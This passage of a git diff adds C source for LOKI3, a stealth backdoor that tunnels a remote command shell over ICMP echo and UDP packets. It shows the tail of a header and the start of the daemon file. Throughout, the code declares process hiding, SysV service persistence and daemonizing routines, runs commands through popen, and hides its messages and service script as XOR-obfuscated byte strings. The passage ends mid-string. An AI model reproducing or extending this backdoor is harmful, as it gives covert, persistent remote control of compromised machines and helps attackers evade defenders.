+#define C_P_TYPE ICMP_ECHOREPLY +#else +#define D_P_TYPE ICMP_ECHOREPLY +#define C_P_TYPE ICMP_ECHO +#endif + +#ifdef WEAK_CRYPTO +#define CRYPTO_TYPE "XOR" +#endif +#ifdef NO_CRYPTO +#define CRYPTO_TYPE "none" +#endif + + +/* Start user configurable options */ + +#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */ +#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */ +#define MAX_CLIENT 10 /* maximum server-side client count */ +#define KEY_TIMER 600 /* maximum server-side idle client TTL */ + +/* End user configurable options */ + + + +#define VERSION "3.0" +#define BUFSIZE 0x38 /* We build packets with a fixed payload. + * Fine for ICMP_ECHO/ECHOREPLY packets as they + * often default to a 56 byte payload. However + * DNS query/reply packets have no set size and + * are generally oddly sized with no padding. + */ + +#define ICMPH_SIZE 8 +#define UDPH_SIZE 8 +#define NL_PORT htons(0x35) + +#define PROMPT "loki> " +#define ENCR 1 /* symbolic for encrypt */ +#define DECR 0 /* symbolic for decrypt */ +#define NOCR 1 /* don't encrypt this packet */ +#define OKCR 0 /* encrypt this packet */ +#define OK 1 /* Positive acknowledgement */ +#define NOK 0 /* Negative acknowledgement */ +#define NNOK -1 /* Really negative acknowledgement */ +#define FIND 1 /* Controls locate_client */ +#define DESTROY 2 /* disposition */ + +/* LOKI packet type symbolics */ + +#define L_TAG 0xf001 /* Tags packets as LOKI */ +#define L_PK_REQ 0xa1 /* Public Key request packet */ +#define L_PK_REPLY 0xa2 /* Public Key reply packet */ +#define L_EOK 0xa3 /* Encrypted ok */ +#define L_REQ 0xb1 /* Standard reuqest packet */ +#define L_REPLY 0xb2 /* Standard reply packet */ +#define L_ERR 0xc1 /* Error of some kind */ +#define L_ACK 0xd1 /* Acknowledgement */ +#define L_QUIT 0xd2 /* Receiver should exit */ +#define L_EOT 0xf1 /* End Of Transmission packet */ + +/* Packet type printing macro */ + +#ifdef DEBUG +#define PACKET_TYPE(ldg)\ +\ +if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \ +else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \ +else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \ +else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \ +else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \ +else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \ +else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \ +else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \ +else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \ +else fprintf(stderr, "Unknown"); \ +if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\ +else fprintf(stderr, "\n");\ + +#define DUMP_PACKET(ldg, i)\ +\ +for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \ +fprintf(stderr, "\n");\ + +#endif + + +/* + * Escaped commands (not interpreted by the shell) + */ + +#define HELP "/help" /* Help me */ +#define TIMER "/timer" /* Change the client side timer */ +#define QUIT_C "/quit" /* Quit the client */ +#define QUIT_ALL "/quit all" /* Kill all clients and server */ +#define STAT_C "/stat" /* Stat the client */ +#define STAT_ALL "/stat all" /* Stat all the clients */ +#define SWAP_T "/swapt" /* Swap protocols */ +#define REDIR_C "/redirect" /* Redirect to another client */ +#define PROXY_D "/proxy" /* Proxy to another server */ + +/* + * Control flag symbolics + */ + +#define TERMINATE 0x01 +#define TRAP 0x02 +#define VALIDC 0x04 +#define VALIDP 0x08 +#define NEWTRANS 0x10 +#define REDIRECT 0x20 +#define PROXY 0x40 +#define SENDKILL 0x80 + + +/* + * Message Strings + * L_ == common to both server and client + * S_ == specific to server + * C_ == specific to client + */ + +#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n" +#define L_MSG_NOPRIV "\n[fatal] invalid user identification value" +#define L_MSG_SOCKET "[fatal] socket allocation error" +#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n" +#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)" +#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair" +#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n" +#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM" +#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1" +#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n" +#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n" +#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n" +#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n" +#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n" + +/* + * Macros to evaluate packets to determine if they are LOKI or not. + * These are UGLY. + */ + + +/* + * ICMP_ECHO client packet check + */ +#define IS_GOOD_ITYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == D_P_TYPE &&\ + ldg.ttype.icmph.icmp_id == loki_id &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_PK_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO daemon packet check + */ +#define IS_GOOD_ITYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == C_P_TYPE &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REQ ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_PK_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * UDP client packet check + */ +#define IS_GOOD_UTYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_sport == NL_PORT &&\ + ldg.ttype.udph.uh_dport == loki_id &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * UDP daemon packet check. Yikes. We need more info here. + */ +#define IS_GOOD_UTYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_dport == NL_PORT &&\ + (ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO / ICMP_ECHOREPLY header prototype + */ +struct icmp_echo { + uint8_t icmp_type; /* 1 byte type */ + uint8_t icmp_code; /* 1 byte code */ + uint16_t icmp_cksum; /* 2 byte checksum */ + uint16_t icmp_id; /* 2 byte identification */ + uint16_t icmp_seq; /* 2 byte sequence number */ +}; + + +/* + * UDP header prototype + */ +struct udp { + uint16_t uh_sport; /* 2 byte source port */ + uint16_t uh_dport; /* 2 byte destination port */ + uint16_t uh_ulen; /* 2 byte length */ + uint16_t uh_sum; /* 2 byte checksum */ +}; + + +/* + * LOKI packet prototype + */ +struct loki { + struct ip iph; /* IP header */ + union { + struct icmp_echo icmph; /* ICMP header */ + struct udp udph; /* UDP header */ + }ttype; + uint8_t payload[BUFSIZE]; /* data payload */ +}; + +#define LOKIP_SIZE sizeof(struct loki) +#define LP_DST rdg.iph.ip_src + +void blur(int, int, uint8_t *); /* Symmetric encryption function */ +char *host_lookup(uint32_t); /* network byte -> human readable */ +uint32_t name_resolve(char *); /* human readable -> network byte */ +uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */ +int c_parse(uint8_t *, int *); /* parse escaped commands [client] */ +void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */ + /* build and transmit LOKI packets */ +void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int); +int lokid_xmit(uint8_t *, uint32_t, int, int); +void err_exit(int, int, int, char *); /* handle exit with reason */ +void clean_exit(int); /* exit cleanly */ +void help(); /* lala */ +void shadow(); /* daemonizing routine */ +void swap_t(int); /* swap protocols [server-side] */ +void reaper(int); /* prevent zombies */ +void catch_timeout(int); /* ALARM signal catcher */ +void client_expiry_check(); /* expire client from shm */ +void prep_shm(); /* Prepare shm ans semaphore */ +void dump_shm(); /* detach shm */ +void packets_read(); /* packets read (client) */ +void fd_status(int, int); /* dumps fd stats */ +#ifdef PERSISTENCE +void handle_sigterm(int); /* SIGTERM handler */ +void unlink_persistence(); /* remove SysV service persistence */ +#endif /* PERSISTENCE */ +/* EOF */ diff --git a/lokid.c b/lokid.c new file mode 100644 index 0000000..46c0794 --- /dev/null +++ b/lokid.c @@ -0,0 +1,581 @@ +/* + * LOKI3 + * + * [ lokid.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "client_db.h" +#include "shm.h" +#include "prochide.h" +#include "persistence.h" + + +#define WORKING_ROOT "/tmp" /* TODO: think about changing this */ + + +jmp_buf env; /* holds our stack frame */ +struct loki sdg, rdg; /* LOKI packets */ +time_t uptime = 0; /* server uptime */ +uint32_t b_sent = 0, p_sent = 0; /* bytes / packets written */ +uint16_t c_id = 0; /* client id */ +int destroy_shm = NOK; /* Used to mark whether or not a process should + * destroy the shm segment upon exiting. */ +int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0; + + +/* + * Obfuscated strings + */ +estring S_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n +estring S_MSG_CLIENT_PROTO_SWAP = { "\x3d\x41\x12\xee\x47\xc4\x0b\x00\x54\x41\x14\xe0\x40\xd4\x11\x1c\x12\x49\x43\xa5\x5c\xc5\x40\x55\x52\x5e\x09\xe0\x4a\x80\x50\x00\x47\x5f\x12\xf1\x41\xc3\x5e\x4c\x17\x5e\x0a\xe4\x5e\xaa", 46, "\x37\x2d\x7d\x85\x2e\xa0\x31\x20", 8 }; // \nlokid: client <%d> requested a protocol swap\n +estring S_MSG_SEND_PROTO_UPDATE = { "\xb0\xb8\xcf\x06\xc5\x5c\xc3\x1c\x99\xbb\xd8\x07\xd5\x5a\xce\x14\xd5\xeb\xdf\x18\xc5\x54\xd9\x1e\x83\xeb\x96\x4d\xc5\x0b\x8d\x5e\xca\xeb\xf1\x4d\xc5\x68\xa7", 39, "\xb9\xcb\xaa\x68\xa1\x35\xad\x7b", 8 }; // \tsending protocol update: <%d> %s [%d]\n +estring S_MSG_PROTOCOL_CHANGED = { "\xdf\xa6\xa4\xda\x50\x91\x08\x98\xc1\xa8\xa1\xc0\x44\xc4\x5a\x98\x93\xb9\xbd\xdc\x40\xc4\x4b\x83\xdf\xe9\xac\xdb\x55\xc5\x4f\x89\xd7\xe9\xbb\xdc\x14\x8e\x5b\xe6", 40, "\xb3\xc9\xcf\xb3\x34\xab\x28\xec", 8 }; // lokid: transport protocol changed to %s\n +estring S_MSG_UNSUP = { "\xed\xdd\xcd\xdd\x8f\xfa\x1a\xd4\x92\xdf\xd1\xc3\x96\xee\x4f\x86\x93\xd4\xc6\x96\x89\xec\x00\x81\x89\xda\xcc\xd9\x91\xf0\x00\x97\x88\xdc\xcf\xd7\x88\xfa\x00\x87\x93\xc3\xcb\xd8\x81\x94", 46, "\xe7\xb1\xa2\xb6\xe6\x9e\x20\xf4", 8 }; // \nlokid: unsupported or unknown command string\n +estring S_MSG_USAGE = { "\x71\x70\xfc\xfb\xfd\x33\x14\x33\x0b\x3c\xbb\xf9\xe8\x22\x1d\x3e\x20\x3c\xbe\xe6\xb4\x7f\x04\x62\x4a\x35\xb3\xcd\x9e", 29, "\x7b\x1c\x93\x90\x94\x57\x34\x1e", 8 }; // \nlokid -p (i|u) [ -v (0|1) ]\n +estring S_MSG_CANNOT_ADD_KEY = { "\x51\x5c\xb3\x15\xfd\x1a\xfd\x09\x18\x51\xb2\x10\xfb\x0a\xe7\x48\x3f\x54\xfc\x15\xf1\x07\xcd", 23, "\x5b\x30\xdc\x7e\x94\x7e\xc7\x29", 8 }; // \nlokid: Cannot add key\n +estring S_MSG_CANNOT_DAEMONIZE = { "\x23\xa8\xb5\x5c\x5e\x34\x7d\x70\x3b\xaf\xba\x46\x50\x2c\x00\x37\x17\xee\xb0\x49\x5a\x35\x4f\x3e", 24, "\x78\xce\xd4\x28\x3f\x58\x20\x50", 8 }; // [fatal] Cannot go daemon +estring S_MSG_CANNOT_CREATE_SESSION = { "\x00\xc6\xc8\x13\x36\x16\x5b\x6e\x18\xc1\xc7\x09\x38\x0e\x26\x2d\x29\xc5\xc8\x13\x32\x5a\x75\x2b\x28\xd3\xc0\x08\x39", 29, "\x5b\xa0\xa9\x67\x57\x7a\x06\x4e", 8 }; // [fatal] Cannot create session +estring S_MSG_CANNOT_DETACH_TERMINAL = { "\xb1\x4f\x79\xe6\xf6\xc4\x86\xdd\x89\x48\x76\xfc\xf8\xdc\xfb\x99\x8f\x5d\x79\xf1\xff\x88\xbd\x8f\x85\x44\x38\xf1\xf8\xc6\xaf\x8f\x85\x45\x74\xfb\xf9\xcf\xfb\x89\x8f\x5b\x75\xfb\xf9\xc9\xb7", 47, "\xea\x29\x18\x92\x97\xa8\xdb\xfd", 8 }; // [fatal] cannot detach from controlling terminal +estring S_MSG_CANNOT_CHDIR = { "\x67\x81\x67\x62\x00\xa8\x91\x37\x5f\x86\x68\x78\x0e\xb0\xec\x74\x54\x83\x6f\x64\x41\xb0\xa3\x37\x6b\xa8\x54\x5d\x28\x8a\x8b\x48\x6e\xa8\x49\x42", 36, "\x3c\xe7\x06\x16\x61\xc4\xcc\x17", 8 }; // [fatal] cannot chdir to WORKING_ROOT +estring S_MSG_CANNOT_SIGNAL_PARENT = { "\x2f\x17\x9f\xa9\x85\x4f\xc9\xba\x17\x1e\x8b\xb1\x80\x03\xfa\xf5\x00\x51\x8d\xb4\x83\x4d\xf5\xf6\x54\x01\x9f\xaf\x81\x4d\xe0", 31, "\x74\x71\xfe\xdd\xe4\x23\x94\x9a", 8 }; // [fatal] could not signal parent +estring S_MSG_NOPRIV = { "\x0f\x71\x84\x61\x50\xc4\x61\xae\x25\x43\x8c\x76\x45\xc9\x64\x97\x25\x5f\x91\x65\x56\x85\x64\x97\x60\x44\x96\x69\x42\xcc\x6e\x92\x71\x43\x8d\x6e\x04\xd3\x6c\x9f\x70\x4f", 42, "\x05\x2a\xe2\x00\x24\xa5\x0d\xf3", 8 }; // \n[fatal] invalid user identification value +estring S_MSG_UNKNOWN_TRANSPORT = { "\x69\xde\x30\x07\x32\xe1\x75\xe0\x67\xd6\x3a\x1d\x3c\xfa\x46\xe0\x46\xca\x30\x1d\x20\xfd\x47\xb2\x46\xb2", 26, "\x32\xb8\x51\x73\x53\x8d\x28\xc0", 8 }; // [fatal] Unknown transport\n +estring S_MSG_SOCKET = { "\xb8\x79\x5c\x92\x4f\xa7\x59\x98\x90\x70\x5e\x8d\x4b\xbf\x24\xd9\x8f\x73\x52\x85\x4f\xbf\x6d\xd7\x8d\x3f\x58\x94\x5c\xa4\x76", 31, "\xe3\x1f\x3d\xe6\x2e\xcb\x04\xb8", 8 }; // [fatal] socket allocation error +estring S_MSG_IP_HDRINCL = { "\xf0\x67\xc9\x6a\xef\x9d\x60\xd8\xd6\x72\x87\x4d\xd0\xb6\x08\xef\xe1\x4f\xe9\x47\xcc\xc9\x33\xc4\xd0\x6d\xc2\x70\xa0\x86\x30\xdf\xda\x69\xc9", 35, "\xb3\x06\xa7\x04\x80\xe9\x40\xab", 8 }; // Cannot set IP_HDRINCL socket option +estring S_MSG_ATEXIT = { "\xaf\x8e\x3b\x4d\xe8\xf6\x34\x78\x97\x89\x34\x57\xe6\xee\x49\x2a\x91\x8f\x33\x4a\xfd\xff\x1b\x78\x83\x81\x2e\x51\xa9\xfb\x1d\x3d\x8c\x81\x2e\x11\xbb\xb3", 38, "\xf4\xe8\x5a\x39\x89\x9a\x69\x58", 8 }; // [fatal] cannot register with atexit(2) +estring S_MSG_SIGUSR1 = { "\xcc\x88\xde\x60\x93\xc5\xec\x2a\xf4\x8f\xd1\x7a\x9d\xdd\x91\x69\xf6\x9a\xdc\x7c\xd2\xfa\xf8\x4d\xc2\xbd\xed\x25", 28, "\x97\xee\xbf\x14\xf2\xa9\xb1\x0a", 8 }; // [fatal] cannot catch SIGUSR1 +estring S_MSG_SIGTERM = { "\xe9\x07\x13\xc1\x95\xb5\x56\x17\xd1\x00\x1c\xdb\x9b\xad\x2b\x54\xd3\x15\x11\xdd\xd4\x8a\x42\x70\xe6\x24\x20\xf8", 28, "\xb2\x61\x72\xb5\xf4\xd9\x0b\x37", 8 }; // [fatal] cannot catch SIGTERM +estring S_MSG_SIGALRM = { "\x62\x88\x0a\xcc\x0e\xc2\x6b\xc6\x5a\x8f\x05\xd6\x00\xda\x16\x85\x58\x9a\x08\xd0\x4f\xfd\x7f\xa1\x78\xa2\x39\xf5", 28, "\x39\xee\x6b\xb8\x6f\xae\x36\xe6", 8 }; // [fatal] cannot catch SIGALRM +estring S_MSG_SIGCHLD = { "\x21\x2d\xd9\x64\x57\x0d\x48\xc8\x19\x2a\xd6\x7e\x59\x15\x35\x8b\x1b\x3f\xdb\x78\x16\x32\x5c\xaf\x39\x03\xf4\x54", 28, "\x7a\x4b\xb8\x10\x36\x61\x15\xe8", 8 }; // [fatal] cannot catch SIGCHLD +estring S_MSG_WIERDERR = { "\x54\x37\x14\x8a\x9b\x0f\xdc\x9d\x38\x0d\x33\xbe\xa7\x17\xae\xde\x31\x02\x33\xad\xa4\x26\xae\xce\x36\x03\x32\xb3\xaf\x6a\xc0\xf8\x08\x29\x15\xff\xad\x2b\xe2\xd1\x7e\x04\x22\xad\xae\x40", 46, "\x5e\x6c\x47\xdf\xcb\x4a\x8e\xbd", 8 }; // \n[SUPER fatal] control should NEVER fall here\n +estring S_MSG_FORK_ERROR = { "\xf2\xf4\x22\x03\x2b\xa8\x3b\xe8\xcf\xfd\x31\x1c\x23\xaa\x01\xe8\xcc\xe0\x31\x18\x38", 21, "\xa9\x92\x43\x77\x4a\xc4\x66\xc8", 8 }; // [fatal] forking error +estring S_MSG_CLIENT_FREED = { "\xa6\x86\xd6\xf2\xcc\x64\x04\xda\xcf\x86\xd0\xfc\xcb\x74\x1e\xc6\x89\x8e\x87\xb9\xc3\x72\x5b\x9f\xc8\xca\xdf\xeb\xca\x6d\x1e\x96\xc5\x99\xcd\xb9\xfe\x25\x5a\xa7", 40, "\xac\xea\xb9\x99\xa5\x00\x3e\xfa", 8 }; // \nlokid: client <%d> freed from list [%d] +estring S_MSG_CLIENT_ALL_KILL = { "\x17\xe9\x11\x4d\x06\xf1\x0a\x08\x7e\xe9\x17\x43\x01\xe1\x10\x14\x38\xe1\x40\x06\x1d\xf0\x41\x5d\x78\xf6\x0a\x43\x0b\xb5\x51\x46\x3d\xe4\x12\x4a\x4f\xfe\x59\x44\x71\x8f", 42, "\x1d\x85\x7e\x26\x6f\x95\x30\x28", 8 }; // \nlokid: client <%d> requested an all kill +estring S_MSG_POPEN = { "\x12\xcc\xef\xf4\x0b\x16\xc7\xff\x68\xcf\xf0\xfa\x0c", 13, "\x18\xa0\x80\x9f\x62\x72\xfd\xdf", 8 }; // \nlokid: popen +estring S_MSG_TRUNCATED_WRITE = { "\x9c\x5c\xa4\x53\x57\x5c\x64\xd2\xa6\x5e\x96\x1d\x03\x48\x70\xc8\xa4\x53\xbf\x58\x13\x1a\x72\xd4\xae\x46\xae", 27, "\xc7\x32\xcb\x3d\x77\x3a\x05\xa6", 8 }; // [non fatal] truncated write +estring S_MSG_SENDING_L_QUIT = { "\x61\x3c\x16\x2c\x93\x83\x06\xd1\x48\x03\x2c\x13\xa2\xa3\x3c\x8c\x48\x73\x56\x26\xc9\xca\x4d\xc5\x62", 25, "\x68\x4f\x73\x42\xf7\xea\x68\xb6", 8 }; // \tsending L_QUIT: <%d> %s\n +estring S_MSG_CANNOT_SIGNAL_PROCESS_GROUP = { "\x91\xab\x95\x71\xef\x4e\x70\x9f\xa9\xa2\x81\x69\xea\x02\x43\xd0\xbe\xed\x87\x6c\xe9\x4c\x4c\xd3\xea\xbd\x86\x6a\xed\x47\x5e\xcc\xea\xaa\x86\x6a\xfb\x52", 38, "\xca\xcd\xf4\x05\x8e\x22\x2d\xbf", 8 }; // [fatal] could not signal process group +estring S_MSG_UNKNOWN = { "\xcf\xfd\xe5\x15\x72\x32\x7c\x54\xa6\xf0\xe4\x10\x74\x22\x66\x18\xaa\xf2\xeb\x0a\x7e\x76\x25\x18\xac\xf4\xe4\x0a\x3b\x33\x28\x00\xb7\xe8\xaa\x17\x75\x76\x22\x15\xb1\xf0\xe8\x1f\x68\x33\x4c", 47, "\xc5\x91\x8a\x7e\x1b\x56\x46\x74", 8 }; // \nlokid: cannot locate client entry in database\n +estring S_MSG_CLIENTK = { "\x23\x2a\xd6\x8a\x68\xd1\x18\x42\x4a\x2a\xdc\x80\x6f\x95\x47\x1a\x40\x32\x99\xc9\x6a\xdc\x4e\x0e\x4c\x22\x99\x80\x75\x95\x41\x0e\x40\x23\xd7\x95\x21\xc7\x47\x13\x5c\x23\xca\x95\x28\xbf", 46, "\x29\x46\xb9\xe1\x01\xb5\x22\x62", 8 }; // \nlokid: clean exit (killed at client request)\n +estring S_MSG_EXPIRED_CLIENT = { "\x29\xc2\xae\x90\x65\xbc\x3b\x99\x4a\xc0\xa0\x98\x78\xb1\x77\xdc\x03\xcd\xad\x92\x69\xb6\x75\x99\x1f\x8b\xa5\xc5\x2c\xbd\x79\xc9\x4a\xdc\xa4\x9f\x2c\xbe\x73\xd6\x4e\x8e\xad\x92\x7f\xac\x21\xe2\x06\xca\x9c\xf1", 52, "\x23\xae\xc1\xfb\x0c\xd8\x01\xb9", 8 }; // \nlokid: inactive client <%d> expired from list [%d]\n +estring S_MSG_CLIENT_DB_FULL = { "\x2f\x93\x63\xe9\x09\x52\x07\xbb\x66\x93\x65\xe7\x0e\x42\x1d\xff\x44\x8b\x6d\xe0\x01\x45\x58\xbb\x43\x8a\x60\xee", 28, "\x25\xff\x0c\x82\x60\x36\x3d\x9b", 8 }; // \nlokid: Client database full +estring S_MSG_SHM_DETACH_ERROR = { "\x00\xf6\xf0\xe1\xc1\xdb\x72\xac\x28\xf8\xf0\xe7\xc5\xd3\x0f\xe1\x3e\xfd\xb1\xe6\xc5\xd0\x42\xe9\x35\xe4\xb1\xf1\xc5\xc3\x4e\xef\x33\xb0\xf4\xe7\xd2\xd8\x5d", 39, "\x5b\x90\x91\x95\xa0\xb7\x2f\x8c", 8 }; // [fatal] shared mem segment detach error +estring S_MSG_CANNOT_DESTROY_SHMID = { "\xbc\xd0\x68\x87\x6b\x0c\xcb\x50\x84\xd7\x67\x9d\x65\x14\xb6\x14\x82\xc5\x7d\x81\x65\x19\xb6\x03\x8f\xdb\x60\x97", 28, "\xe7\xb6\x09\xf3\x0a\x60\x96\x70", 8 }; // [fatal] cannot destroy shmid +estring S_MSG_CANNOT_DESTROY_SEMAPHORE = { "\x63\x1f\x98\x01\x34\x56\x23\x02\x5b\x18\x97\x1b\x3a\x4e\x5e\x46\x5d\x0a\x8d\x07\x3a\x43\x5e\x51\x5d\x14\x98\x05\x3d\x55\x0c\x47", 32, "\x38\x79\xf9\x75\x55\x3a\x7e\x22", 8 }; // [fatal] cannot destroy semaphore + +/* 'stat' command output strings */ +estring S_STAT_UPTIME = { "\x5b\x6a\x30\xa8\xc3\x14\xc5\x0f\x58\x7b\x2b\xb3\xc3\x5c\xec\x73\x0d\x21\x72\xec\xc0\x46\x88\x13\x46\x7a\x36\xbb\xd5\x6c", 30, "\x28\x0f\x42\xde\xa6\x66\xe5\x7a", 8 }; // server uptime:\t\t%.02f minutes\n +estring S_STAT_VERSION = { "\xcf\x51\x04\x13\x2e\xcc\x51\xed\xa0\x4f\x18\x11\x28\xc6\x4b\x92\xcc\x18\x18\x72", 20, "\xc5\x3d\x6b\x78\x47\xa8\x71\x9b", 8 }; // \nlokid version:\t\t%s\n +estring S_STAT_INTERFACE = { "\x29\x4b\x03\x49\x58\x12\x99\x57\x35\x5a\x0b\x54\x4a\x16\xda\x5b\x61\x27\x4b\x55\x26", 21, "\x5b\x2e\x6e\x26\x2c\x77\xb9\x3e", 8 }; // remote interface:\t%s\n +estring S_STAT_TRANSPORT = { "\xcd\x5a\x26\x45\x7b\xb9\x8f\xdb\xde\x58\x3c\x5f\x7d\xb3\xdd\xdb\x96\x30\x77\x5f\x07", 21, "\xac\x39\x52\x2c\x0d\xdc\xaf\xaf", 8 }; // active transport:\t%s\n +estring S_STAT_CRYPTO = { "\x26\x72\xfb\xc7\xbe\xad\xe9\x0d\x35\x68\xff\xda\xa7\xaf\xbb\x0f\x37\x79\xf6\x94\xc1\xed\xba\x64", 24, "\x47\x11\x8f\xae\xc8\xc8\xc9\x6e", 8 }; // active cryptography:\t%s\n +estring S_STAT_CLIENT_ID = { "\x60\x98\x26\xeb\x77\x00\x9e\x97\x47\xce\x46\x87\x3c\x10\xb4", 15, "\x03\xf4\x4f\x8e\x19\x74\xbe\xde", 8 }; // client ID:\t\t%d\n +estring S_STAT_PACKETS_WRITTEN = { "\x59\xb5\xc1\xcf\x24\x9a\x5b\xfa\x5e\xa6\xcb\xd0\x35\x8b\x46\xe0\x20\xf1\xc6\xae", 20, "\x29\xd4\xa2\xa4\x41\xee\x28\xda", 8 }; // packets written:\t%d\n +estring S_STAT_BYTES_WRITTEN = { "\xc5\x8e\xa8\x1d\x6b\xd6\xf3\x9d\xce\x83\xa8\x1d\x76\xcc\x8d\xe6\x82\x93\xd6", 19, "\xa7\xf7\xdc\x78\x18\xf6\x84\xef", 8 }; // bytes written:\t\t%d\n +estring S_STAT_REQUESTS = { "\x54\x1a\xd9\x40\x1c\x26\x5b\xf2\x1c\x76\xa1\x10\x1d\x5f", 14, "\x26\x7f\xa8\x35\x79\x55\x2f\x81", 8 }; // requests:\t\t%d\n + +estring S_MSG_SHM_SEGMENT_ERROR = { "\x46\x35\xd6\x98\x77\xad\x2a\x3b\x6e\x3b\xd6\x9e\x73\xa5\x57\x76\x78\x3e\x97\x9f\x73\xa6\x1a\x7e\x73\x27\x97\x9e\x73\xb0\x02\x7e\x6e\x27\x97\x89\x64\xb3\x18\x69", 40, "\x1d\x53\xb7\xec\x16\xc1\x77\x1b", 8 }; // [fatal] shared mem segment request error +estring S_MSG_SEMAPHORE_ALLOCATION_ERROR = { "\x7c\x36\x46\x73\xb3\x3d\x34\xdc\x54\x35\x4a\x66\xa2\x39\x06\x8e\x42\x70\x46\x6b\xbe\x3e\x0a\x9d\x53\x39\x48\x69\xf2\x34\x1b\x8e\x48\x22", 34, "\x27\x50\x27\x07\xd2\x51\x69\xfc", 8 }; // [fatal] semaphore allocation error +estring S_MSG_CANNOT_LOCK_MEMORY = { "\x9f\x90\x84\x39\xf7\x83\x42\x2e\xa7\x99\x90\x21\xf2\xcf\x71\x61\xb0\xd6\x89\x22\xf5\x84\x3f\x63\xa1\x9b\x8a\x3f\xef", 29, "\xc4\xf6\xe5\x4d\x96\xef\x1f\x0e", 8 }; // [fatal] could not lock memory +estring S_MSG_CANNOT_UNLOCK_MEMORY = { "\xa5\x15\x5e\xbb\x3c\x94\x01\x5a\x9d\x1c\x4a\xa3\x39\xd8\x32\x15\x8a\x53\x4a\xa1\x31\x97\x3f\x11\xde\x1e\x5a\xa2\x32\x8a\x25", 31, "\xfe\x73\x3f\xcf\x5d\xf8\x5c\x7a", 8 }; // [fatal] could not unlock memory + +estring S_SYSV_SERVICE = { "\xd6\x4a\x5a\xc1\x2d\x8d\x05\x6f\x9d\x61\x56\x80\x67\xc3\x68\x59\xb2\x22\x3b\x83\x0d\xad\x63\x48\xd5\x22\x3b\xe5\x0b\xe9\x09\x3c\xa5\x19\x1a\xd5\x2d\x87\x4f\x6f\xcf\x4b\x50\xd0\x4e\xc0\x0a\x58\x90\x0d\x14\xd6\x28\x97\x07\x4f\x81\x0a\x07\xd7\x7e\xc3\x18\x3c\xc6\x4b\x41\x83\x71\xe9\x09\x3c\xb1\x0e\x13\xc2\x31\x8f\x5e\x31\xa6\x1f\x1a\xd3\x7e\xc3\x1a\x3c\xc4\x4b\x43\xa9\x67\xc3\x79\x74\x9a\x19\x01\x8e\x00\x86\x59\x7f\x87\x02\x05\xd7\x2d\x8c\x44\x26\xd5\x4e\x06\xa9\x67\xc3\x6e\x79\x86\x08\x07\xca\x34\x97\x43\x73\x9b\x51\x55\x86\x37\xe9\x09\x3f\xd6\x4b\x30\xed\x00\xc3\x63\x52\xbc\x3f\x55\xea\x0a\xa5\x65\x16\xff\x08\x14\xd0\x21\xc3\x08\x38\xc4\x49\x55\xca\x2a\xe9\x0a\x3c\xd5\x4b\x06\xd7\x25\x91\x5e\x3